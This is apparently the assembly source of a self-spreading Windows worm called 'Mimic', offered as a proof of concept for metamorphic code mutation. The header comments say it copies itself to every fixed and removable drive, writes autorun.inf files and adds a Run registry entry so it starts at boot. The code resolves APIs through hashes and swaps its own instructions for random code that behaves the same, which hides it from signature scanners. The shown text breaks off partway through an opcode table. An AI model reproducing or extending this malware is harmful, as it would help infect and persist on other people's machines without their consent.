;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; Mimic
;; by Dr. Theodore Spankman
;; December 2010
;;
;;
;; This is a proof-of-concept worm for the technique descriped in an
;; article "Code Mutations via Behaviour Analysis".
;;
;; The main idea: The worm analyses the behaviour of its own code, then
;; creates random code and analyses that behaviour, too. If the behaviour
;; is the same, the original code will be substituated by the new ranom code.
;; It can analyse register operations, memory operations and stack operations.
;; For more information, see the article!
;;
;; The worm spreads via copying itself to all fixed and removeable drives,
;; creating an autostart file at removeable drives, and writing a registry
;; entry to start at every windows startup.
;;
;; The worm uses a simple 16bit hash-algorithm to find the APIs in the DLLs,
;; so no need to use hardcoded API names.
;;
;;
;;
;;
;; This is version 0.01, it is probably quite buggy - even I tried my best to
;; prevent that (within the given amount of time) - so dont blame me!
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include '..\FASM\INCLUDE\win32ax.inc'
macro cc restr*, instr*, op1, op2
{
; Macro for padding commands to 8byte each and for
; adding the restrictions to the GlobalBehaviourTableList
local StartCommand, EndCommand
StartCommand:
if op2 eq
if op1 eq
instr
else
instr op1
end if
else
instr op1,op2
end if
EndCommand:
times (8-EndCommand+StartCommand): nop ; padding
match any, GlobalBehaviourTableList ; Add further elements to list
\{
GlobalBehaviourTableList equ GlobalBehaviourTableList,restr
\}
match , GlobalBehaviourTableList ; Add first element to list
\{
GlobalBehaviourTableList equ restr
\}
}
macro VEH_TRY c*
{
cc rNoEmul, call, MirrorTheStack
cc rPSI, mov, dword[sESP], esp
cc rNoRes, push, VEH_Handler#c
cc rNoRes, push, 0x1
cc rNoEmul, stdcall, dword[AddVectoredExceptionHandler]
cc rNoRes, mov, dword[hVEH], eax
}
macro VEH_EXCEPTION c*
{
cc rNoEmul, call, RestoreTheStack
cc rA, xor, eax, eax
cc rNoRes, mov, dword[bException#c], eax
cc rNoEmul, jmp, VEH_NoException#c
VEH_Handler#c:
cc rA, mov, eax, dword[hDataMirror]
cc rAB, mov, ebx, dword[hDataMirror1]
cc rF, cmp, eax, ebx
cc rNoEmul, je, VEH_HandlerDataMirrorOK#c
cc rC, mov, ecx, dword[hDataMirror2]
cc rNoRes, mov, dword[hDataMirror], ecx
VEH_HandlerDataMirrorOK#c:
cc rNoEmul, call, RestoreTheMemory
cc rNoEmul, mov, esp, dword[sESP]
cc rABCDPSI, mov, eax, 1
cc rABCDPSI, mov, dword[bException#c], eax
cc rNoEmul, call, RestoreTheStack
}
macro VEH_END c*
{
VEH_NoException#c:
cc rA, mov, eax, dword[hVEH]
cc rNoRes, push, eax
cc rNoEmul, stdcall, dword[RemoveVectoredExceptionHandler]
}
.data
DataStart:
CodeStartInFile EQU 0x600
GlobalBehaviourTableList equ
; eax=A ebp=P
; ebx=B esi=S
; ecx=C edi=I
; edx=D FLAGS=F
rNoRes EQU 00000000b
rA EQU 00000001b
rB EQU 00000010b
rAB EQU 00000011b
rC EQU 00000100b
rAC EQU 00000101b
rBC EQU 00000110b
rABC EQU 00000111b
rD EQU 00001000b
rAD EQU 00001001b
rABD EQU 00001011b
rCD EQU 00001100b
rACD EQU 00001101b
rBCD EQU 00001110b
rABCD EQU 00001111b
rP EQU 00010000b
rAP EQU 00010001b
rBP EQU 00010010b
rCP EQU 00010100b
rDP EQU 00011000b
rCDP EQU 00011100b
rACP EQU 00010101b
rBCP EQU 00010110b
rADP EQU 00011001b
rBDP EQU 00011010b
rBCDP EQU 00011110b
rABCDP EQU 00011111b
rS EQU 00100000b
rAS EQU 00100001b
rBS EQU 00100010b
rABS EQU 00100011b
rCS EQU 00100100b
rACS EQU 00100101b
rBCS EQU 00100110b
rABCS EQU 00100111b
rDS EQU 00101000b
rADS EQU 00101001b
rCDS EQU 00101100b
rACDS EQU 00101101b
rABCDS EQU 00101111b
rPS EQU 00110000b
rBPS EQU 00110010b
rCPS EQU 00110100b
rACPS EQU 00110101b
rBCPS EQU 00110110b
rDPS EQU 00111000b
rABCDPS EQU 00111111b
rI EQU 01000000b
rAI EQU 01000001b
rCI EQU 01000100b
rACI EQU 01000101b
rSI EQU 01100000b
rASI EQU 01100001b
rABSI EQU 01100011b
rCSI EQU 01100100b
rACSI EQU 01100101b
rDSI EQU 01101000b
rADSI EQU 01101001b
rCDSI EQU 01101100b
rACDSI EQU 01101101b
rABCDSI EQU 01101111b
rPSI EQU 01110000b
rAPSI EQU 01110001b
rBPSI EQU 01110010b
rABPSI EQU 01110011b
rACPSI EQU 01110101b
rABCPSI EQU 01110111b
rDPSI EQU 01111000b
rADPSI EQU 01111001b
rBDPSI EQU 01111010b
rCDPSI EQU 01111100b
rACDPSI EQU 01111101b
rBCDPSI EQU 01111110b
rABCDPSI EQU 01111111b
rF EQU 10000000b
rAF EQU 10000001b
rBF EQU 10000010b
rABF EQU 10000011b
rCF EQU 10000100b
rACF EQU 10000101b
rABCF EQU 10000111b
rDF EQU 10001000b
rADF EQU 10001001b
rBDF EQU 10001010b
rABDF EQU 10001011b
rPF EQU 10010000b
rAPF EQU 10010001b
rBPF EQU 10010010b
rACPF EQU 10010101b
rBCPF EQU 10010110b
rDPF EQU 10011000b
rBDPF EQU 10011010b
rCDPF EQU 10011100b
rSF EQU 10100000b
rACSF EQU 10100101b
rCDSF EQU 10101100b
rACDSF EQU 10101101b
rABCDSF EQU 10101111b
rDPSF EQU 10111000b
rCIF EQU 11000100b
rCSIF EQU 11100100b
rCDSIF EQU 11101100b
rACDSIF EQU 11101101b
rACPSIF EQU 11110101b
rADPSIF EQU 11111001b
rBDPSIF EQU 11111010b
rCDPSIF EQU 11111100b
rBCDPSIF EQU 11111110b
rABCDPSIF EQU 11111111b
rNoEmul EQU 10110101b
stKey: times 47 db 0x0 ; "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0x0
hKey dd 0x0
hVEH dd 0x0
RandomNumber dd 0x0
tmpAddress dd 0x0
tmpRetVal dd 0x0
hTempAlloc2 dd 0x0
hDataMirror dd 0x0
hCreateFileAR dd 0x0
hCreateFileMappingAR dd 0x0
hExecutionMirror dd 0x0
hLBTFileCode dd 0x0
tmpMemProtection dd 0x0
hStackMirror dd 0x0
hStackSize dd 0x0
tmpAddress1 dd 0x0
hStackStart dd 0x0
tmpGBT db 0x0
hMyFileName dd 0x0
SpaceForHDC: dd 0x0 ; should be 0x0, C:\
RandomFileName: times 13 db 0x0
SpaceForHDC2: dd 0x0 ; should be 0x0, X:\
RandomFileName2:times 13 db 0x0
WormCodeStart dd 0x0
RndNumCycle dd 0x0
hDataMirror1 dd 0x0
hCreateFileRndFile dd 0x0
dFileSize dd 0x0
hCreateMapRndFile dd 0x0
tmpAddress2 dd 0x0
hMapViewRndFile dd 0x0
hTempAlloc1 dd 0x0
stAutoRunContent: times 52 db 0x0
bExceptionFC1 db 0x0
bExceptionRC1 db 0x0
bExceptionFC2 db 0x0
bExceptionRC2 db 0x0
bExceptionFC2SIM db 0x0
bExceptionRC2SIM db 0x0
BBExceptionCount db 0x0
hRandomizedData dd 0x0
_VirtualProtect1 dd 0x0
stAutorunWithDrive db 0x0, 0x0, 0x0 ; "X:\"
stAutoruninf: times 12 db 0x0
; "autorun.inf"
hRandomizedData1 dd 0x0
tmpDWA dd 0x0
tmpDWB dd 0x0
tmpDWC dd 0x0
CGPushPop db 0x0
tmpReg4Mirror:
tmpDW1 dd 0x0
tmpDW2 dd 0x0
tmpDW3 dd 0x0
tmpDW4 dd 0x0
tmpDW5 dd 0x0
tmpDW6 dd 0x0
tmpDW7 dd 0x0
tmpDW8 dd 0x0
sESP dd 0x0
rEAX dd 0x0
rECX dd 0x0
rEDX dd 0x0
rEBX dd 0x0
rEBP dd 0x0
rESI dd 0x0
rEDI dd 0x0
dd 0x0, 0x0, 0x0, 0x0
hDataMirror2 dd 0x0
hPrepareRegistersAndTable dd 0x0
hMirrorTheMemory dd 0x0
_VirtualAlloc1 dd 0x0
_DLLkernel32: times 13 db 0x0
hDLLkernel32 dd 0x0
_DLLadvapi32: times 13 db 0x0
hDLLadvapi32 dd 0x0
hKernelPE dd 0x0
hAddressTable dd 0x0
hNamePointerTable dd 0x0
hOrdinalTable dd 0x0
APINumbersKernel EQU (APIMagicNumbersKernel32End-APIMagicNumbersKernel32)/4
APIMagicNumbersKernel32:
; hashAddVectoredExceptionHandler dd 0x85D3
; The VEH APIs are directly redirected to ntdll, so the entry in the AddressTable is not valid
; this counts for XP, Vista and probably Vista+, too
hashCloseHandle dd 0xA2C8
hashCopyFileA dd 0x8ADF
hashCreateFileA dd 0x89DE
hashCreateFileMappingA dd 0xD198
hashGetCommandLineA dd 0x8287
hashGetDriveTypeA dd 0x6586
hashGetFileSize dd 0x87DF
hashGetTickCount dd 0xEBAE
hashMapViewOfFile dd 0xA6D0
; hashRemoveVectoredExceptionHandler dd 0xB98C
hashSetErrorMode dd 0xCF8D
hashSleep dd 0x6EAA
hashUnmapViewOfFile dd 0xA5F9
hashVirtualAlloc dd 0xC563
hashVirtualFree dd 0x88F0
hashVirtualProtect dd 0xAE67
APIMagicNumbersKernel32End:
APIAddressesKernel:
; _AddVectoredExceptionHandler dd 0x0
_CloseHandle dd 0x0
_CopyFileA dd 0x0
_CreateFileA dd 0x0
_CreateFileMappingA dd 0x0
_GetCommandLineA dd 0x0
_GetDriveTypeA dd 0x0
_GetFileSize dd 0x0
_GetTickCount dd 0x0
_MapViewOfFile dd 0x0
; _RemoveVectoredExceptionHandler dd 0x0
_SetErrorMode dd 0x0
_Sleep dd 0x0
_UnmapViewOfFile dd 0x0
_VirtualAlloc dd 0x0
_VirtualFree dd 0x0
_VirtualProtect dd 0x0
APINumbersAdvapi EQU (APIMagicNumbersAdvapi32End-APIMagicNumbersAdvapi32)/4
APIMagicNumbersAdvapi32:
hashRegCloseKey dd 0x84C2
hashRegCreateKeyExA dd 0xAC9F
hashRegSetValueExA dd 0xC655
APIMagicNumbersAdvapi32End:
APIAddressesAdvapi:
_RegCloseKey dd 0x0
_RegCreateKeyExA dd 0x0
_RegSetValueExA dd 0x0
APICurrentMagicNum dd 0x0
APICurrentNumber dd 0x0
APICurrentAddress dd 0x0
; ###########################################################################
; ###########################################################################
; #####
; ##### Local BehaviourTable
; #####
LocalBehaviourTable:
CommandNumber EQU (EndPaddedCommands-StartPaddedCommands)/8
BehaviourTableSize EQU 18*4
; Has to be a mulitple of 4!
; Each behaviour Block consists of:
; Registers: 9*4=36 byte
; 0x00 dd EAX
; 0x04 dd EBX
; 0x08 dd ECX
; 0x0C dd EDX
; 0x10 dd EBP
; 0x14 dd ESI
; 0x18 dd EDI
; 0x1C dd FLAGS
; 0x20 dd ESP
; Memory: 2*4*4=8*4=32 byte:
; 0x24 dd MemOffset1
; 0x28 dword[MemOffset1]
; 0x2C dd MemOffset2
; 0x30 dword[MemOffset2]
; 0x34 dd MemOffset3
; 0x38 dword[MemOffset3]
; 0x3C dd MemOffset4
; 0x40 dword[MemOffset4]
; Stack: 1*4=4 byte
; (could be extented, but i like it that way more :) )
; 0x44 STACK change (if push is used)
TempBehaviourTable: times BehaviourTableSize db 0x0
BBTableFileCode: times BehaviourTableSize db 0x0
BBTableRandomCode: times BehaviourTableSize db 0x0
; #####
; ##### Local BehaviourTable
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### Buffers for execution
; #####
RandomCodeBufferSize EQU 0x08
; At some parts, the code relies on
; that value, so check that when you
; change it.
CodeExecDifference EQU (RandomCodeExecutionWithoutPRAT-RandomCodeExecution)
CodeExecSize EQU (RandomCodeExectionEnd-RandomCodeExecution)
RandomCodeExecution:
call dword[hPrepareRegistersAndTable]
RandomCodeExecutionWithoutPRAT:
call dword[hMirrorTheMemory]
RandomCode:
; add al, 1
; mov byte[tmpDWA], 33
times RandomCodeBufferSize db 0x90
RC_End:
times (8-RC_End+RandomCode): nop ; padding
RC_Padding: times 8 db 0x90 ; If error occure and malicous code is generated
; As buffer that this malicous code does not "overwrite" the opcodes of the next "call"
call dword[hAnalyseBehaviourOfCode]
ret
RandomCodeExectionEnd:
FileCodeExection:
call dword[hPrepareRegistersAndTable]
FileCodeExecutionWithoutPRAT:
call dword[hMirrorTheMemory]
BufferForCode:
times RandomCodeBufferSize db 0x90
FC_Padding: times 8 db 0x90 ; If error occure and malicous code is generated
; As buffer that this malicous code does not "overwrite" the opcodes of the next "call"
call dword[hAnalyseBehaviourOfCode]
ret
FileCodeExectionEnd:
; #####
; ##### Buffers for execution
; #####
; ###########################################################################
; ###########################################################################
DataEnd:
times 8 db 0x0
.code
CodeStart:
; Temp Code
StartPaddedCommands:
cc rNoEmul, call, GetAllAPIAddresses ; Will receive the addresses of all
; required APIs from kernel32.dll and advapi32.dll
; using a 16bit hash for each API name. The hash
; will be calculated with a simple XOR/SUB/ADD algorithm
cc rNoEmul, stdcall, dword[_GetTickCount]
cc rNoRes, mov, dword[RandomNumber], eax
cc rNoRes, push, 0x8007
cc rNoEmul, stdcall, dword[_SetErrorMode]
cc rNoEmul, stdcall, dword[_GetCommandLineA]
cc rNoRes, mov, dword[hMyFileName], eax
cc rF, cmp, byte[eax], '"'
cc rNoEmul, jne, FileNameIsFine
cc rA, inc, eax
cc rA, mov, dword[hMyFileName], eax
FindFileNameLoop:
cc rA, inc, eax
cc rAF, cmp, byte[eax], '"'
cc rNoEmul, jne, FindFileNameLoop
cc rNoRes, mov, byte[eax], 0x0
FileNameIsFine:
cc rNoEmul, call, CopyFileAndRegEntry
cc rNoRes, push, PAGE_READONLY
cc rNoRes, push, MEM_COMMIT
cc rNoRes, push, (DataEnd-DataStart)
cc rNoRes, push, 0x0 ; lpAddress - optional
cc rNoEmul, stdcall, dword[_VirtualAlloc] ; For mirroring the Memory
cc rA, mov, dword[hDataMirror], eax
cc rA, mov, dword[hDataMirror1], eax ; This may be destroyed by a random
cc rNoRes, mov, dword[hDataMirror2], eax ; code. Saving it three times gives
; the possibility to find the true one
; anyway.
cc rA, mov, eax, dword[fs:0x4] ; TIB: Top of stack
cc rAB, mov, ebx, dword[fs:0x8] ; TIB: Current bottom of stack
cc rAB, mov, dword[hStackStart], ebx
cc rA, sub, eax, ebx ; eax=Size of current stack
cc rA, mov, dword[hStackSize], eax ; Save size of stack
cc rNoRes, push, PAGE_READONLY
cc rNoRes, push, MEM_COMMIT
cc rNoRes, push, eax
cc rNoRes, push, 0x0 ; lpAddress - optional
cc rNoEmul, stdcall, dword[_VirtualAlloc] ; For mirroring the Stack
cc rNoRes, mov, dword[hStackMirror], eax
cc rNoRes, push, PAGE_READONLY
cc rNoRes, push, MEM_COMMIT
cc rNoRes, push, (DataEnd-DataStart)
cc rNoRes, push, 0x0
cc rNoEmul, stdcall, dword[_VirtualAlloc] ; For generating a randomized memory
cc rA, mov, dword[hRandomizedData], eax
cc rA, mov, dword[hRandomizedData1], eax
cc rNoEmul, call, CreateRandomizedData
cc rNoRes, push, PAGE_EXECUTE_READ
cc rNoRes, push, MEM_COMMIT
cc rNoRes, push, CodeExecSize
cc rNoRes, push, 0x0
cc rNoEmul, stdcall, dword[_VirtualAlloc] ; For execution of code - to prevent self-destruction :D
cc rNoRes, mov, dword[hExecutionMirror], eax
cc rNoRes, push, PAGE_READWRITE
cc rNoRes, push, MEM_COMMIT
cc rNoRes, push, 2*4*4 ; Memory BT: 4 times: 2*dd = 32byte
cc rNoRes, push, 0x0
cc rNoEmul, stdcall, dword[_VirtualAlloc]
cc rA, mov, dword[hTempAlloc1], eax
cc rNoRes, mov, dword[hTempAlloc2], eax ; eax=Temp.VirtualAlloc
cc rA, mov, eax, PrepareRegistersAndTable
cc rNoRes, mov, dword[hPrepareRegistersAndTable], eax
cc rA, mov, eax, MirrorTheMemory
cc rNoRes, mov, dword[hMirrorTheMemory], eax
cc rNoEmul, call, CreateRandomRegisters
cc rNoEmul, call, MakeBehaviourTableOfOwnCode
; ###########################################################################
; ###########################################################################
; #####
; ##### Random Code Execution Loop
; #####
cc rD, xor, edx, edx
LoopRnd:
cc rCD, xor, ecx, ecx
LLR:
cc rNoEmul, pushad
cc rNoEmul, call, CreateRandomCode
; #####################################################################
; ########
; # TRY
; # {
; #
VEH_TRY RC1
cc rA, mov, eax, TempBehaviourTable
cc rA, mov, dword[tmpAddress], eax
cc rA, mov, dword[tmpAddress1], eax
cc rNoRes, mov, dword[tmpAddress2], eax
cc rA, xor, eax, eax
cc rAB, mov, ebx, RandomCodeExecution
cc rNoEmul, call, GenerateExecuteableCodeInMemory ; Call the Function in data section
; Can not be written in .code as it's write-protected
; which is important for the random-code executions
; (to not destroy entire code).
cc rNoEmul, call, dword[hExecutionMirror] ; Can not execute it in .data section as it's not
; write protected, and the random code can (and will)
; overwrite itself (self-destruction). Solution:
; Virtual Allocated Memory with variable Protection
; #
; # }
; # CATCH
; # {
; #
VEH_EXCEPTION RC1
VEH_END RC1
; #
; # }
; ########
; #####################################################################
cc rNoEmul, call, CompareCodeBTwithRandomBT
cc rNoEmul, popad
cc rC, inc, ecx
cc rCF, cmp, ecx, 0x5
cc rNoEmul, jb, LLR
cc rNoEmul, pushad
cc rNoRes, push, 10
cc rNoEmul, stdcall, dword[_Sleep]
cc rNoEmul, popad
cc rD, inc, edx
cc rDF, cmp, edx, 50
cc rNoEmul, jb, LoopRnd
cc rNoEmul, call, SpreadThisKitty
cc rD, xor, edx, edx
cc rNoEmul, jmp, LoopRnd
; #####
; ##### Random Code Execution Loop
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### Generate Random Code in allocated Memory for Execution
; #####
GenerateExecuteableCodeInMemory:
; In: eax=0 ... Write from RandomCodeExecution1-RandomCodeExecution1End
; else: eax=(RandomCodeExecutionWithoutPRAT-RandomCodeExecution1)
; ebx: Source (RandomCodeExecution or FileCodeExection)
; This function is used to generate the random code in memory, because .data section
; is READ/WRITE/EXECUTE, hence the random code can (and will) overwrite itself.
; Solution: It will be executed in a READ/EXECUTE memory.
cc rB, push, eax
cc rNoRes, push, ebx
cc rNoRes, push, tmpMemProtection
cc rNoRes, push, PAGE_READWRITE
cc rNoRes, push, CodeExecSize
cc rNoRes, push, dword[hExecutionMirror]
cc rNoEmul, stdcall, dword[_VirtualProtect]
cc rB, pop, ebx
cc rAB, pop, eax
cc rABC, xor, ecx, ecx
cc rACS, mov, esi, ebx
cc rCS, add, esi, eax
cc rCSI, mov, edi, dword[hExecutionMirror]
GenerateExecuteableCodeInMemoryMore:
cc rACSI, mov, eax, dword[esi]
cc rCSI, mov, dword[edi], eax
cc rCSI, add, esi, 0x4
cc rCSI, add, edi, 0x4
cc rCSI, add, ecx, 0x4
cc rCSIF, cmp, ecx, CodeExecSize
cc rNoEmul, jb, GenerateExecuteableCodeInMemoryMore
cc rNoRes, push, tmpMemProtection
cc rNoRes, push, PAGE_EXECUTE_READ
cc rNoRes, push, CodeExecSize
cc rNoRes, push, dword[hExecutionMirror]
cc rNoEmul, stdcall, dword[_VirtualProtect]
cc rNoEmul, ret
; #####
; ##### Generate Random Code in allocated Memory for Execution
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### Linear Congruent Generator (Random Number Generator)
; #####
GetRandomNumber:
cc rNoEmul, pushad
cc rD, xor, edx, edx
cc rAD, mov, eax, dword[RandomNumber]
cc rABD, mov, ebx, 1103515245
cc rA, mul, ebx ; EDX:EAX = EDX:EAX * EBX
cc rA, add, eax, 12345
cc rNoRes, mov, dword[RandomNumber], eax
cc rNoEmul, popad
cc rNoEmul, ret
GetGoodRandomNumber:
cc rNoEmul, pushad
cc rC, mov, ecx, dword[RandomNumber]
cc rC, shr, ecx, 11
cc rC, and, ecx, 0xF
cc rC, inc, ecx
GetGoodRandomNumberMore: ; The linear congruent generator has some serios problems when
; one needs "good" random numbers. There were patterns in the
; numbers that leaded to wrong results
cc rNoEmul, call, GetRandomNumber
cc rCF, dec, ecx
cc rNoEmul, jnz, GetGoodRandomNumberMore
cc rNoEmul, popad
cc rNoEmul, ret
CreateSpecialRndNumber:
; in: ebx, ecx
; out: edx=(rand()%ebx + ecx)
cc rNoEmul, call, GetRandomNumber
cc rBCD, xor, edx, edx
cc rABCD, mov, eax, dword[RandomNumber]
cc rCD, div, ebx
cc rD, add, edx, ecx
cc rNoEmul, ret
BBSimSpecialRndNum:
cc rC, xor, ecx, ecx
cc rBC, mov, ebx, 50
cc rNoEmul, call, CreateSpecialRndNumber
cc rD, sub, dl, 25
cc rAD, mov, eax, edx
cc rNoEmul, ret
; #####
; ##### Linear Congruent Generator (Random Number Generator)
; #####
; ###########################################################################
; ###########################################################################
; ###########################################################################
; ###########################################################################
; #####
; ##### Random Code Generator
; #####
CreateRandomCode:
; 0x00 ... add Mem8, Reg8 0x00 (0x00-0xBF) OPMem8Reg8
; 0x00 ... add Reg8, Reg8 0x00 (0xC0-0xFF) OPReg8Reg8
; 0x01 ... add Mem32, Reg32 0x01 (0x00-0xBF) OPMem32Reg32
; 0x01 ... add Reg32, Reg32 0x01 (0xC0-0xFF) OPReg32Reg32
; 0x02 ... add Reg8, Mem8 0x02 (0x00-0xBF) OPMem8Reg8
; 0x02 ... add Reg8, Reg8 0x02 (0xC0-0xFF) OPReg8Reg8
; 0x03 ... add Reg32, Mem32 0x03 (0x00-0xBF) OPMem32Reg32
; 0x03 ... add Reg32, Reg32 0x03 (0xC0-0xFF) OPReg32Reg32
; 0x04 ... add al, Imm8 0x04 (0x00-0xFF) OPAlImm8
; 0x05 ... add eax, Imm32 0x05 (0x00-0xFF) OPEaxImm32
; NOT USED: 0x06, 0x07 - push ES | pop ES
; 0x08 ... or Mem8, Reg8 0x08 (0x00-0xBF) OPMem8Reg8
; 0x08 ... or Reg8, Reg8 0x08 (0xC0-0xFF) OPReg8Reg8
; 0x09 ... or Mem32, Reg32 0x09 (0x00-0xBF) OPMem32Reg32
; 0x09 ... or Reg32, Reg32 0x09 (0xC0-0xFF) OPReg32Reg32
; 0x0A ... or Reg8, Mem8 0x0A (0x00-0xBF) OPMem8Reg8
; 0x0A ... or Reg8, Reg8 0x0A (0xC0-0xFF) OPReg8Reg8
; 0x0B ... or Reg32, Mem32 0x0B (0x00-0xBF) OPMem32Reg32
; 0x0B ... or Reg32, Reg32 0x0B (0xC0-0xFF) OPReg32Reg32
; 0x0C ... or al, Imm8 0x0C (0x00-0xFF) OPAlImm8
; 0x0D ... or eax, Imm32 0x0D (0x00-0xFF) OPEaxImm32
; NOT USED: 0x0E, 0x0F - push CS | pop CS
; 0x10 ... adc Mem8, Reg8 0x10 (0x00-0xBF) OPMem8Reg8
; 0x10 ... adc Reg8, Reg8 0x10 (0xC0-0xFF) OPReg8Reg8
; 0x11 ... adc Mem32, Reg32 0x11 (0x00-0xBF) OPMem32Reg32
; 0x11 ... adc Reg32, Reg32 0x11 (0xC0-0xFF) OPReg32Reg32
; 0x12 ... adc Reg8, Mem8 0x12 (0x00-0xBF) OPMem8Reg8
; 0x12 ... adc Reg8, Reg8 0x12 (0xC0-0xFF) OPReg8Reg8
; 0x13 ... adc Reg32, Mem32 0x13 (0x00-0xBF) OPMem32Reg32
; 0x13 ... adc Reg32, Reg32 0x13 (0xC0-0xFF) OPReg32Reg32
; 0x14 ... adc al, Imm8 0x14 (0x00-0xFF) OPAlImm8
; 0x15 ... adc eax, Imm32 0x15 (0x00-0xFF) OPEaxImm32
; NOT USED: 0x16, 0x17 - push SS | pop SS
; 0x18 ... sbb Mem8, Reg8 0x18 (0x00-0xBF) OPMem8Reg8
; 0x18 ... sbb Reg8, Reg8 0x18 (0xC0-0xFF) OPReg8Reg8
; 0x19 ... sbb Mem32, Reg32 0x19 (0x00-0xBF) OPMem32Reg32
; 0x19 ... sbb Reg32, Reg32 0x19 (0xC0-0xFF) OPReg32Reg32
; 0x1A ... sbb Reg8, Mem8 0x1A (0x00-0xBF) OPMem8Reg8
; 0x1A ... sbb Reg8, Reg8 0x1A (0xC0-0xFF) OPReg8Reg8
; 0x1B ... sbb Reg32, Mem32 0x1B (0x00-0xBF) OPMem32Reg32
; 0x1B ... sbb Reg32, Reg32 0x1B (0xC0-0xFF) OPReg32Reg32
; 0x1C ... sbb al, Imm8 0x1C (0x00-0xFF) OPAlImm8
; 0x1D ... sbb eax, Imm32 0x1D (0x00-0xFF) OPEaxImm32
; NOT USED: 0x16, 0x17 - push DS | pop DS
; 0x20 ... and Mem8, Reg8 0x20 (0x00-0xBF) OPMem8Reg8
; 0x20 ... and Reg8, Reg8 0x20 (0xC0-0xFF) OPReg8Reg8
; 0x21 ... and Mem32, Reg32 0x21 (0x00-0xBF) OPMem32Reg32
; 0x21 ... and Reg32, Reg32 0x21 (0xC0-0xFF) OPReg32Reg32
; 0x22 ... and Reg8, Mem8 0x22 (0x00-0xBF) OPMem8Reg8
; 0x22 ... and Reg8, Reg8 0x22 (0xC0-0xFF) OPReg8Reg8
; 0x23 ... and Reg32, Mem32 0x23 (0x00-0xBF) OPMem32Reg32
; 0x23 ... and Reg32, Reg32 0x23 (0xC0-0xFF) OPReg32Reg32
; 0x24 ... and al, Imm8 0x24 (0x00-0xFF) OPAlImm8
; 0x25 ... and eax, Imm32 0x25 (0x00-0xFF) OPEaxImm32
; NOT USED: 0x26 (Superfluous) prefix
; 0x27 ... daa 0x27 SingleByteCommand
; 0x28 ... sub Mem8, Reg8 0x28 (0x00-0xBF) OPMem8Reg8
; 0x28 ... sub Reg8, Reg8 0x28 (0xC0-0xFF) OPReg8Reg8
; 0x29 ... sub Mem32, Reg32 0x29 (0x00-0xBF) OPMem32Reg32
; 0x29 ... sub Reg32, Reg32 0x29 (0xC0-0xFF) OPReg32Reg32
; 0x2A ... sub Reg8, Mem8 0x2A (0x00-0xBF) OPMem8Reg8
; 0x2A ... sub Reg8, Reg8 0x2A (0xC0-0xFF) OPReg8Reg8
; 0x2B ... sub Reg32, Mem32 0x2B (0x00-0xBF) OPMem32Reg32
; 0x2B ... sub Reg32, Reg32 0x2B (0xC0-0xFF) OPReg32Reg32
; 0x2C ... sub al, Imm8 0x2C (0x00-0xFF) OPAlImm8
; 0x2D ... sub eax, Imm32 0x2D (0x00-0xFF) OPEaxImm32
; NOT USED: 0x2E (Superfluous) prefix
; 0x2F ... das 0x2F SingleByteCommand
; 0x30 ... xor Mem8, Reg8 0x30 (0x00-0xBF) OPMem8Reg8
; 0x30 ... xor Reg8, Reg8 0x30 (0xC0-0xFF) OPReg8Reg8
; 0x31 ... xor Mem32, Reg32 0x31 (0x00-0xBF) OPMem32Reg32
; 0x31 ... xor Reg32, Reg32 0x31 (0xC0-0xFF) OPReg32Reg32
; 0x32 ... xor Reg8, Mem8 0x32 (0x00-0xBF) OPMem8Reg8
; 0x32 ... xor Reg8, Reg8 0x32 (0xC0-0xFF) OPReg8Reg8
; 0x33 ... xor Reg32, Mem32 0x33 (0x00-0xBF) OPMem32Reg32
; 0x33 ... xor Reg32, Reg32 0x33 (0xC0-0xFF) OPReg32Reg32
; 0x34 ... xor al, Imm8 0x34 (0x00-0xFF) OPAlImm8
; 0x35 ... xor eax, Imm32 0x35 (0x00-0xFF) OPEaxImm32
; NOT USED: 0x36 (Superfluous) prefix
; 0x37 ... aaa 0x37 SingleByteCommand
; 0x38 ... cmp Mem8, Reg8 0x38 (0x00-0xBF) OPMem8Reg8
; 0x38 ... cmp Reg8, Reg8 0x38 (0xC0-0xFF) OPReg8Reg8
; 0x39 ... cmp Mem32, Reg32 0x39 (0x00-0xBF) OPMem32Reg32
; 0x39 ... cmp Reg32, Reg32 0x39 (0xC0-0xFF) OPReg32Reg32
; 0x3A ... cmp Reg8, Mem8 0x3A (0x00-0xBF) OPMem8Reg8
; 0x3A ... cmp Reg8, Reg8 0x3A (0xC0-0xFF) OPReg8Reg8
; 0x3B ... cmp Reg32, Mem32 0x3B (0x00-0xBF) OPMem32Reg32
; 0x3B ... cmp Reg32, Reg32 0x3B (0xC0-0xFF) OPReg32Reg32
; 0x3C ... cmp al, Imm8 0x3C (0x00-0xFF) OPAlImm8
; 0x3D ... cmp eax, Imm32 0x3D (0x00-0xFF) OPEaxImm32
; NOT USED: 0x3E (Superfluous) prefix
; 0x3F ... aas 0x3F SingleByteCommand
; 0x40 - 0x4F ... inc|dec Reg32 IncDecReg32
; 0x50 - 0x5F ... push|pop Reg32 PushPopReg32
; NOT USED: 0x60 - 0x67: pushad,popad,bound,arpl + prefixes
; 0x68 ... push Imm32 0x68 (0x00-0xFF) PushImm321
; NOT USED: 0x69: imul [maybe in next versions]
; 0x6A ... push Imm32 0x68 (0x00-0xFF) PushImm322
; NOT USED: 0x6B-0x6F: imul [maybe in next versions], inx, outx
; NOT USED: 0x70-0x7F: jxx
; 0x80 ... add|or|adc|sbb|and|sub|xor|cmp Reg8, Imm8 0x80 (0xC0-0xFF) VariousReg8Imm8
; 0x81 ... add|or|adc|sbb|and|sub|xor|cmp Reg32, Imm32 0x81 (0xC0-0xFF) VariousReg32Imm32
; 0x82 ... add|or|adc|sbb|and|sub|xor|cmp Reg8, Imm8 0x82 (0xC0-0xFF) VariousReg8Imm8
; 0x83 ... add|or|adc|sbb|and|sub|xor|cmp Reg32, Imm32 0x83 (0xC0-0xFF) VariousReg32Imm32
; NOT USED: 0x84,0x85: test [maybe in next versions]
; 0x86 ... xchg Mem8, Reg8: 0x86 (0x00-0xBF) OPMem8Reg8
; 0x86 ... xchg Reg8, Reg8: 0x86 (0xC0-0xFF) OPReg8Reg8
; 0x87 ... xchg Mem32, Reg32: 0x87 (0x00-0xBF) OPMem32Reg32
